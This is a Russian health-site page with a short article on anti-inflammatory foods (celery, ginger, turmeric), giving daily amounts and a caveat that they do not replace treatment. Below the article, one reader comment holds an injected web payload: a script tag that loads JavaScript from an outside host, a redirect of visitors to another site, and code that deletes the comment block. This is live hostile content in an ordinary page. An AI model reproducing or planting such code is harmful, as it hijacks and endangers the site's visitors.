Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Еда против воспаления  >>  Еда против воспаления
 
Обратная связь
 

Еда против воспаления

Размер шрифта
17 февраля 2012 10:00
  • google_analytics: false
  • Нравится

Воспаление – это не только температура. Любая простудная реакция – это воспаление. Боль в суставах – это воспаление. И даже атеросклероз – это воспаление. При атеросклерозе стенки сосудов становятся рыхлыми, и в них забивается жир.

1

Какие продукты позволяют бороться с воспалением?

  1. Всем знакомый сельдерей содержит особое вещество апигенин. Оно обладает сильным противовоспалительным эффектом и устраняет признаки воспаления, известные с давних времен: отек, краснота, боль. Устраняя спазм сосудов в области воспаления, апигенин дает иммунным клеткам проникнуть в источник воспаления. Ешьте не меньше 50 г сельдерея ежедневно.

  2. Имбирь содержит гингерол. Он может расширять сосуды в разных областях организма. Если кровоток улучшить в той области, где есть воспаление, то воспаление уменьшается, так как кровь более интенсивно омывает воспаленный очаг. Кстати, прилив крови к щекам после чашечки чая с имбирем – как раз и есть пример того, как гингерол, который улучшает кровоток. Ешьте не меньше 1 грамма имбиря.

  3. Среди специй на кухне есть куркуму. Куркума – основной компонент смеси карри. Именно она придает карри насыщенный желтый цвет. Куркумин подваляет выработку простагландинов, веществ, которые поддерживают воспаление в организме. Нормализуя количество простагландинов в организме, куркумин предотвращает чрезмерную воспалительную реакцию. Суточной дозы куркумы вам хватит на целую порцию соуса для курицы карри.

Помните, что все эти продукты ни в коей мере не являются заменой назначенному лечению. Но тем не менее правильное питание даст вам возможность быстрее выздороветь, так как у организма появится мощная поддержка.



Сюжеты по теме:
Холодильник как аптечка. Еда против воспаления

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 23:55

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

2 - Гость

22 ноября 2016 в 14:04

Цитировать   |   Пожаловаться

Спасисбки

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.